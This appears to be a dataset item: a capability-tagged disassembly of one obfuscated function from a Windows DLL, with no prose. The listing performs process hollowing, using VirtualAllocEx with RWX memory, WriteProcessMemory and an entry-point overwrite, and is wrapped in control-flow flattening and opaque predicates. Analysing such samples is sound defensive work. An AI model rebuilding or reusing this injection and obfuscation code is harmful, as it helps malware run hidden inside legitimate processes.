Function at 0x10003040
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Hide graphical window
Parse pe header
Resume thread
Use process replacement

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x108
mov eax, dword [0x1006b000]
xor eax, ebp
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x110], 0xb72a7138
mov eax, dword [ebp - 0x110]
mov dword [ebp - 0x114], eax
sub eax, 0x80ee9f66
je 0x1000579c
jmp 0x1000307c
mov eax, dword [ebp - 0x114]
sub eax, 0x812b49c6
je 0x10009d35
jmp 0x10003092
mov eax, dword [ebp - 0x114]
sub eax, 0x81a4ba5f
je 0x1000813c
jmp 0x100030a8
mov eax, dword [ebp - 0x114]
sub eax, 0x8278ff47
je 0x10007cf1
jmp 0x100030be
mov eax, dword [ebp - 0x114]
sub eax, 0x837aec44
je 0x10007d81
jmp 0x100030d4
mov eax, dword [ebp - 0x114]
sub eax, 0x83ef0170
je 0x10007df7
jmp 0x100030ea
mov eax, dword [ebp - 0x114]
sub eax, 0x84462593
je 0x1000789a
jmp 0x10003100
mov eax, dword [ebp - 0x114]
sub eax, 0x8491b1c4
je 0x10008a6d
jmp 0x10003116
mov eax, dword [ebp - 0x114]
sub eax, 0x85d35d39
je 0x10007e52
jmp 0x1000312c
mov eax, dword [ebp - 0x114]
sub eax, 0x864a8e7f
je 0x1000ab63
jmp 0x10003142
mov eax, dword [ebp - 0x114]
sub eax, 0x86cdec77
je 0x1000871d
jmp 0x10003158
mov eax, dword [ebp - 0x114]
sub eax, 0x8a12203f
je 0x10005ae4
jmp 0x1000316e
mov eax, dword [ebp - 0x114]
sub eax, 0x8a16c159
je 0x10006f67
jmp 0x10003184
mov eax, dword [ebp - 0x114]
sub eax, 0x8a3aea5c
je 0x10007cd2
jmp 0x1000319a
mov eax, dword [ebp - 0x114]
sub eax, 0x8a434a84
je 0x1000ad33
jmp 0x100031b0
mov eax, dword [ebp - 0x114]
sub eax, 0x8cae8dc6
je 0x100058b5
jmp 0x100031c6
mov eax, dword [ebp - 0x114]
sub eax, 0x8d3490b6
je 0x1000694a
jmp 0x100031dc
mov eax, dword [ebp - 0x114]
sub eax, 0x8d7d9056
je 0x10009651
jmp 0x100031f2
mov eax, dword [ebp - 0x114]
sub eax, 0x8da1abcf
je 0x10006d3b
jmp 0x10003208
mov eax, dword [ebp - 0x114]
sub eax, 0x8dfdb914
je 0x10008922
jmp 0x1000321e
mov eax, dword [ebp - 0x114]
sub eax, 0x8e3a6a37
je 0x1000aba1
jmp 0x10003234
mov eax, dword [ebp - 0x114]
sub eax, 0x8e3a7f6a
je 0x1000a584
jmp 0x1000324a
mov eax, dword [ebp - 0x114]
sub eax, 0x8ea8307c
je 0x10009f52
jmp 0x10003260
mov eax, dword [ebp - 0x114]
sub eax, 0x8ef60ba4
je 0x1000a784
jmp 0x10003276
mov eax, dword [ebp - 0x114]
sub eax, 0x8f89619f
je 0x10006421
jmp 0x1000328c
mov eax, dword [ebp - 0x114]
sub eax, 0x8fd81d30
je 0x100067db
jmp 0x100032a2
mov eax, dword [ebp - 0x114]
sub eax, 0x909738be
je 0x1000b287
jmp 0x100032b8
mov eax, dword [ebp - 0x114]
sub eax, 0x90eaabbe
je 0x1000995b
jmp 0x100032ce
mov eax, dword [ebp - 0x114]
sub eax, 0x9145461f
je 0x1000580b
jmp 0x100032e4
mov eax, dword [ebp - 0x114]
sub eax, 0x916bdae6
je 0x1000aded
jmp 0x100032fa
mov eax, dword [ebp - 0x114]
sub eax, 0x917a303a
je 0x100069b8
jmp 0x10003310
mov eax, dword [ebp - 0x114]
sub eax, 0x919de3bc
je 0x1000a6ff
jmp 0x10003326
mov eax, dword [ebp - 0x114]
sub eax, 0x92661599
je 0x1000a4d4
jmp 0x1000333c
mov eax, dword [ebp - 0x114]
sub eax, 0x93351c8a
je 0x10006f96
jmp 0x10003352
mov eax, dword [ebp - 0x114]
sub eax, 0x9346a9a2
je 0x1000ac6a
jmp 0x10003368
mov eax, dword [ebp - 0x114]
sub eax, 0x9368bfb8
je 0x1000875b
jmp 0x1000337e
mov eax, dword [ebp - 0x114]
sub eax, 0x93fd6caf
je 0x1000b26c
jmp 0x10003394
mov eax, dword [ebp - 0x114]
sub eax, 0x955e7e5e
je 0x10007807
jmp 0x100033aa
mov eax, dword [ebp - 0x114]
sub eax, 0x96388562
je 0x10007ecc
jmp 0x100033c0
mov eax, dword [ebp - 0x114]
sub eax, 0x97dc552e
je 0x1000a575
jmp 0x100033d6
mov eax, dword [ebp - 0x114]
sub eax, 0x9904906a
je 0x10006c27
jmp 0x100033ec
mov eax, dword [ebp - 0x114]
sub eax, 0x99cf35d1
je 0x100062dd
jmp 0x10003402
mov eax, dword [ebp - 0x114]
sub eax, 0x99fdd920
je 0x1000990a
jmp 0x10003418
mov eax, dword [ebp - 0x114]
sub eax, 0x9a22e9e3
je 0x100090aa
jmp 0x1000342e
mov eax, dword [ebp - 0x114]
sub eax, 0x9ab003c9
je 0x10007187
jmp 0x10003444
mov eax, dword [ebp - 0x114]
sub eax, 0x9b5409f2
je 0x10008830
jmp 0x1000345a
mov eax, dword [ebp - 0x114]
sub eax, 0x9b992cb7
je 0x1000967e
jmp 0x10003470
mov eax, dword [ebp - 0x114]
sub eax, 0x9bdfa046
je 0x10006def
jmp 0x10003486
mov eax, dword [ebp - 0x114]
sub eax, 0x9cc2d91b
je 0x10006c53
jmp 0x1000349c
mov eax, dword [ebp - 0x114]
sub eax, 0x9ccec509
je 0x10009ded
jmp 0x100034b2
mov eax, dword [ebp - 0x114]
sub eax, 0x9db342b7
je 0x1000a360
jmp 0x100034c8
mov eax, dword [ebp - 0x114]
sub eax, 0x9dd861de
je 0x1000ae95
jmp 0x100034de
mov eax, dword [ebp - 0x114]
sub eax, 0x9e82e94b
je 0x100093ff
jmp 0x100034f4
mov eax, dword [ebp - 0x114]
sub eax, 0x9f4492bd
je 0x10007196
jmp 0x1000350a
mov eax, dword [ebp - 0x114]
sub eax, 0x9ff596be
je 0x10007912
jmp 0x10003520
mov eax, dword [ebp - 0x114]
sub eax, 0xa0c764e5
je 0x100093a7
jmp 0x10003536
mov eax, dword [ebp - 0x114]
sub eax, 0xa0cd3531
je 0x100081aa
jmp 0x1000354c
mov eax, dword [ebp - 0x114]
sub eax, 0xa0cda726
je 0x10005fc1
jmp 0x10003562
mov eax, dword [ebp - 0x114]
sub eax, 0xa1a7c834
je 0x100066c8
jmp 0x10003578
mov eax, dword [ebp - 0x114]
sub eax, 0xa357b3e9
je 0x1000758d
jmp 0x1000358e
mov eax, dword [ebp - 0x114]
sub eax, 0xa3b472dc
je 0x100057ab
jmp 0x100035a4
mov eax, dword [ebp - 0x114]
sub eax, 0xa40cfe3a
je 0x10005b12
jmp 0x100035ba
mov eax, dword [ebp - 0x114]
sub eax, 0xa4c9f3a3
je 0x1000a8df
jmp 0x100035d0
mov eax, dword [ebp - 0x114]
sub eax, 0xa51b4f47
je 0x10009d06
jmp 0x100035e6
mov eax, dword [ebp - 0x114]
sub eax, 0xa57557a1
je 0x1000ab15
mov dword [ebp - 0x110], 0xa3b472dc
jmp 0x1000b2e9
mov dword [ebp - 0x110], 0x17355d25
jmp 0x1000b2e9
movss xmm0, dword [0x1001822c]
movss dword [ebp - 0xf8], xmm0
mov ecx, dword [0x1006c328]
mov eax, dword [0x1006c324]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xc5a791b7
mov ecx, 0x44b83090
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x110], eax
jmp 0x1000b2e9
mov ecx, dword [0x1006c328]
mov eax, dword [0x1006c324]
mov edx, ecx
add edx, 0x7f1bfe28
sub edx, 1
sub edx, 0x7f1bfe28
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xc85e3d5c
mov ecx, 0xaa2918c4
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x110], eax
jmp 0x1000b2e9
mov dword [ebp - 0x110], 0x7068a30e
jmp 0x1000b2e9
mov dl, 1
mov eax, 0xd8efd133
mov ecx, 0xf48aed41
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x110], eax
jmp 0x1000b2e9
mov eax, dword [0x1006c328]
mov ecx, dword [0x1006c324]
mov edx, eax
sub edx, 0x98d90a4c
sub edx, 1
add edx, 0x98d90a4c
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xd1d4d75e
mov ecx, 0xb95520c1
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x110], eax
jmp 0x1000b2e9
mov dl, 1
mov eax, 0xb4ee075f
mov ecx, 0xae35bd7a
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x110], eax
jmp 0x1000b2e9
movss xmm0, dword [0x10018214]
movss dword [ebp - 0xfc], xmm0
mov eax, dword [0x1006c328]
mov ecx, dword [0x1006c324]
mov edx, eax
sub edx, 0x8c297175
sub edx, 1
add edx, 0x8c297175
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x445f131e
mov ecx, 0x7b606a7f
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x110], eax
jmp 0x1000b2e9
mov dl, 1
mov eax, 0x73ceaa48
mov ecx, 0x499147b6
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x110], eax
jmp 0x1000b2e9
mov dword [ebp - 0x110], 0x73ceaa48
jmp 0x1000b2e9
mov ecx, dword [0x1006c328]
mov eax, dword [0x1006c324]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x864a8e7f
mov ecx, 0x917a303a
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x110], eax
jmp 0x1000b2e9
mov ecx, dword [0x1006c328]
mov eax, dword [0x1006c324]
mov edx, ecx
add edx, 0xdb75e140
sub edx, 1
sub edx, 0xdb75e140
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x864a8e7f
mov ecx, 0x65143083
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x110], eax
jmp 0x1000b2e9
mov dword [ebp - 0x110], 0xc302fda8
jmp 0x1000b2e9
movss xmm0, dword [0x10018348]
movss dword [ebp - 0x100], xmm0
movss xmm0, dword [0x10018344]
movss dword [ebp - 0x100], xmm0
mov dword [ebp - 0x110], 0xf18e0eb8
jmp 0x1000b2e9
movss xmm0, dword [0x100181e8]
movss dword [ebp - 0x100], xmm0
movss xmm0, dword [0x100181e4]
movss dword [ebp - 0x100], xmm0
mov ecx, dword [0x1006c328]
mov eax, dword [0x1006c324]
mov edx, ecx
sub edx, 0x955ccb1d
sub edx, 1
add edx, 0x955ccb1d
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xe6a0978b
mov ecx, 0xe9cbd197
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x110], eax
jmp 0x1000b2e9
movss xmm0, dword [0x1001833c]
movss dword [ebp - 0x104], xmm0
movss xmm0, dword [0x10018338]
movss dword [ebp - 0x104], xmm0
movss xmm0, dword [0x10018334]
movss dword [ebp - 0x104], xmm0
mov dword [ebp - 0x110], 0xbbd7bbd7
jmp 0x1000b2e9
movss xmm0, dword [0x10018324]
movss dword [ebp - 0x104], xmm0
movss xmm0, dword [0x10018320]
movss dword [ebp - 0x104], xmm0
mov dword [ebp - 0x110], 0x93351c8a
jmp 0x1000b2e9
mov dword [ebp - 0x110], 0x771e1dde
jmp 0x1000b2e9
mov dword [ebp - 0x110], 0x9f4492bd
jmp 0x1000b2e9
mov ecx, dword [0x1006c328]
mov eax, dword [0x1006c324]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x9ac0cde
mov ecx, 0xf7cb7a66
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x110], eax
jmp 0x1000b2e9
movss xmm0, dword [0x100181d0]
movss dword [ebp - 0x104], xmm0
mov eax, dword [0x1006c328]
mov ecx, dword [0x1006c324]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x4edb55ac
mov ecx, 0x7b130354
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x110], eax
jmp 0x1000b2e9
mov dl, 1
mov eax, 0xcc093fe2
mov ecx, 0xc6adb9f6
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x110], eax
jmp 0x1000b2e9
movss xmm0, dword [0x100181c4]
movss dword [ebp - 0x108], xmm0
movss xmm0, dword [0x100181c0]
movss dword [ebp - 0x108], xmm0
mov eax, dword [0x1006c328]
mov ecx, dword [0x1006c324]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x61ec814d
mov ecx, 0xffc1d3e3
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x110], eax
jmp 0x1000b2e9
mov dword [ebp - 0x110], 0xcc093fe2
jmp 0x1000b2e9
movss xmm0, dword [0x100182e0]
movss dword [ebp - 0x108], xmm0
mov dword [ebp - 0x110], 0x8278ff47
jmp 0x1000b2e9
movss xmm0, dword [0x100182dc]
movss dword [ebp - 0x10c], xmm0
movss xmm0, dword [0x100182d8]
movss dword [ebp - 0x10c], xmm0
movss xmm0, dword [0x100182d4]
movss dword [ebp - 0x10c], xmm0
mov dword [ebp - 0x110], 0x180a6a62
jmp 0x1000b2e9
mov ecx, dword [0x1006c328]
mov eax, dword [0x1006c324]
mov edx, ecx
sub edx, 0x5864596a
sub edx, 1
add edx, 0x5864596a
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x4edda149
mov ecx, 0x83ef0170
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x110], eax
jmp 0x1000b2e9
mov dl, 1
mov eax, 0x85d35d39
mov ecx, 0xd318548f
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x110], eax
jmp 0x1000b2e9
movss xmm0, dword [0x100182c8]
movss dword [ebp - 0x10c], xmm0
mov dword [ebp - 0x110], 0xc5566255
jmp 0x1000b2e9
mov eax, dword [0x1006c328]
mov ecx, dword [0x1006c324]
mov edx, eax
add edx, 0x38821880
sub edx, 1
sub edx, 0x38821880
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x5a02b6af
mov ecx, 0x2c13f3bd
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x110], eax
jmp 0x1000b2e9
mov ecx, dword [0x1006c328]
mov eax, dword [0x1006c324]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x262306fe
mov ecx, 0xa0cd3531
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x110], eax
jmp 0x1000b2e9
mov dl, 1
mov eax, 0x41177f55
mov ecx, 0x320bbda5
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x110], eax
jmp 0x1000b2e9
mov eax, dword [ebp - 0xf4]
movss xmm0, dword [0x10018270]
movss dword [eax], xmm0
mov dword [ebp - 0x110], 0x3a50d2ee
jmp 0x1000b2e9
mov eax, dword [0x1006c328]
mov ecx, dword [0x1006c324]
mov edx, eax
sub edx, 0x7d79dbe1
sub edx, 1
add edx, 0x7d79dbe1
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xfe13a7ea
mov ecx, 0x6b94901d
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x110], eax
jmp 0x1000b2e9
mov dword [ebp - 0x110], 0xfc9521a1
jmp 0x1000b2e9
mov dword [ebp - 0x110], 0xf96fda7a
jmp 0x1000b2e9
mov eax, dword [ebp - 0xf0]
movss xmm0, dword [0x10018268]
movss dword [eax], xmm0
mov dword [ebp - 0x110], 0x7214a892
jmp 0x1000b2e9
mov dword [ebp - 0x110], 0x2f180c3c
jmp 0x1000b2e9
mov dword [ebp - 0x110], 0x2f811832
jmp 0x1000b2e9
mov eax, dword [0x1006c328]
mov ecx, dword [0x1006c324]
mov edx, eax
sub edx, 0x5757d8de
sub edx, 1
add edx, 0x5757d8de
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xf8861aad
mov ecx, 0xebc7b31c
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x110], eax
jmp 0x1000b2e9
mov dword [ebp - 0x110], 0xb3bab244
jmp 0x1000b2e9
mov eax, dword [ebp - 0xdc]
mov eax, dword [eax]
sub esp, 4
mov dword [esp], eax
call fcn.10002b60
add esp, 4
mov ecx, eax
mov eax, dword [ebp - 0xcc]
mov dword [eax], ecx
mov eax, dword [ebp - 0xe0]
mov eax, dword [eax]
mov ecx, dword [eax + 0xa4]
mov eax, dword [ebp - 0xc4]
mov dword [eax], ecx
mov eax, dword [ebp - 0xe0]
mov eax, dword [eax]
mov eax, dword [eax + 0x50]
mov dword [ebp - 0x7c], eax
mov eax, dword [ebp - 0xe0]
mov eax, dword [eax]
mov eax, dword [eax + 0x34]
mov dword [ebp - 0x78], eax
mov dword [ebp - 0x110], 0x71177c2
jmp 0x1000b2e9
mov eax, dword [ebp - 0x70]
mov eax, dword [eax + 0x38]
mov ecx, dword [ebp - 0xdc]
mov ecx, dword [ecx]
xor edx, edx
sub esp, 0x14
mov dword [esp], ecx
mov dword [esp + 4], 0
mov dword [esp + 8], eax
mov dword [esp + 0xc], 0x3000
mov dword [esp + 0x10], 0x40
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov ecx, eax
mov eax, dword [ebp - 0xc8]
mov dword [eax], ecx
mov dword [ebp - 0x110], 0x90eaabbe
jmp 0x1000b2e9
mov eax, dword [0x1006c328]
mov ecx, dword [0x1006c324]
mov edx, eax
add edx, 0xead07d10
sub edx, 1
sub edx, 0xead07d10
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xff3a9271
mov ecx, 0xdac56cc0
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x110], eax
jmp 0x1000b2e9
mov dword [ebp - 0x110], 0x2fa8033d
jmp 0x1000b2e9
mov eax, dword [ebp - 0xb4]
mov eax, dword [eax]
mov dword [ebp - 0x54], eax
mov eax, dword [ebp - 0xc0]
mov eax, dword [eax]
mov ecx, dword [ebp - 0xb0]
imul ecx, dword [ecx], 0x28
add eax, ecx
mov eax, dword [eax + 0xc]
mov ecx, dword [ebp - 0xac]
mov ecx, dword [ecx]
sub eax, 0xee17bf6c
add eax, ecx
add eax, 0xee17bf6c
mov dword [ebp - 0x50], eax
mov dword [ebp - 0x110], 0xc6602cc3
jmp 0x1000b2e9
mov eax, dword [ebp - 0xec]
mov eax, dword [eax]
mov ecx, dword [ebp - 0xc0]
mov ecx, dword [ecx]
mov edx, dword [ebp - 0xb0]
imul edx, dword [edx], 0x28
add ecx, edx
add eax, dword [ecx + 0x14]
mov dword [ebp - 0x4c], eax
mov eax, dword [ebp - 0xb4]
mov eax, dword [eax]
mov dword [ebp - 0x48], eax
mov eax, dword [ebp - 0xc0]
mov eax, dword [eax]
mov ecx, dword [ebp - 0xb0]
imul ecx, dword [ecx], 0x28
add eax, ecx
add eax, 0xc
mov dword [ebp - 0x44], eax
mov eax, dword [0x1006c328]
mov ecx, dword [0x1006c324]
mov edx, eax
sub edx, 0x44fd3d50
sub edx, 1
add edx, 0x44fd3d50
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xc1c12d1d
mov ecx, 0xcab5ac21
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x110], eax
jmp 0x1000b2e9
mov eax, dword [ebp - 0xc8]
mov eax, dword [eax]
mov dword [ebp - 0x38], eax
mov eax, dword [ebp - 0xe0]
mov eax, dword [eax]
add eax, 0x18
mov dword [ebp - 0x34], eax
mov dword [ebp - 0x110], 0x2ed3b27b
jmp 0x1000b2e9
mov dword [ebp - 0x110], 0x46295b95
jmp 0x1000b2e9
mov ecx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x18]
add ecx, 0xb3acd6c
add ecx, eax
sub ecx, 0xb3acd6c
mov eax, dword [ebp - 0xb8]
mov dword [eax], ecx
mov ecx, dword [0x1006c328]
mov eax, dword [0x1006c324]
mov edx, ecx
add edx, 0x2601c3a3
sub edx, 1
sub edx, 0x2601c3a3
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x909738be
mov ecx, 0x6a81343a
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x110], eax
jmp 0x1000b2e9
mov dword [ebp - 0x110], 0x8e3a7f6a
jmp 0x1000b2e9
mov eax, dword [ebp - 0xcc]
mov ecx, dword [eax]
xor eax, eax
sub eax, ecx
xor ecx, ecx
sub ecx, 8
add eax, ecx
xor ecx, ecx
sub ecx, eax
mov eax, dword [ebp - 0xdc]
mov edx, dword [eax]
mov eax, dword [ebp - 0xc8]
xor esi, esi
sub esp, 0x14
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
mov dword [esp + 0xc], 4
mov dword [esp + 0x10], 0
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov eax, dword [ebp - 0xc8]
mov ecx, dword [eax]
mov eax, dword [ebp - 0xe0]
mov eax, dword [eax]
mov edx, dword [eax + 0x28]
xor eax, eax
sub eax, ecx
xor ecx, ecx
sub ecx, edx
add eax, ecx
xor ecx, ecx
sub ecx, eax
mov eax, dword [ebp - 0xe4]
mov eax, dword [eax]
mov dword [eax + 0xb0], ecx
mov dword [ebp - 0x110], 0xce7ddb7b
jmp 0x1000b2e9
mov eax, dword [ebp - 0x14]
mov eax, dword [eax]
sub esp, 4
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 0xdc]
mov eax, dword [eax]
sub esp, 4
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [ebp - 0x110], 0x4c6b48ff
jmp 0x1000b2e9
mov eax, dword [0x1006c328]
mov ecx, dword [0x1006c324]
mov edx, eax
add edx, 0xfd8198e4
sub edx, 1
sub edx, 0xfd8198e4
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xf2a062bf
mov ecx, 0x281d2721
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x110], eax
jmp 0x1000b2e9
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.1000b960
lea esp, [ebp - 0xc]
pop esi
pop edi
pop ebx
pop ebp
ret
mov dword [ebp - 0x110], 0x917a303a
jmp 0x1000b2e9
movss xmm0, dword [0x100181ec]
movss dword [ebp - 0x100], xmm0
mov dword [ebp - 0x110], 0xdbcf12fb
jmp 0x1000b2e9
mov dword [ebp - 0x110], 0x783cb6de
jmp 0x1000b2e9
movss xmm0, dword [0x100181bc]
movss dword [ebp - 0x108], xmm0
mov dword [ebp - 0x110], 0xf6d05c08
jmp 0x1000b2e9
mov eax, dword [ebp - 0xf4]
movss xmm0, dword [0x100181ac]
movss dword [eax], xmm0
mov dword [ebp - 0x110], 0x55857a79
jmp 0x1000b2e9
mov eax, dword [ebp - 0xf0]
movss xmm0, dword [0x10018194]
movss dword [eax], xmm0
mov dword [ebp - 0x110], 0xe366c24b
jmp 0x1000b2e9
mov eax, dword [ebp - 0xb8]
mov eax, dword [ebp - 0xb8]
mov dword [ebp - 0x110], 0xad49c93
jmp 0x1000b2e9
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x18]
sub ecx, 0x44ff3373
add ecx, eax
add ecx, 0x44ff3373
mov eax, dword [ebp - 0xb8]
mov dword [eax], ecx
mov dword [ebp - 0x110], 0x92661599
jmp 0x1000b2e9
jmp 0x10003060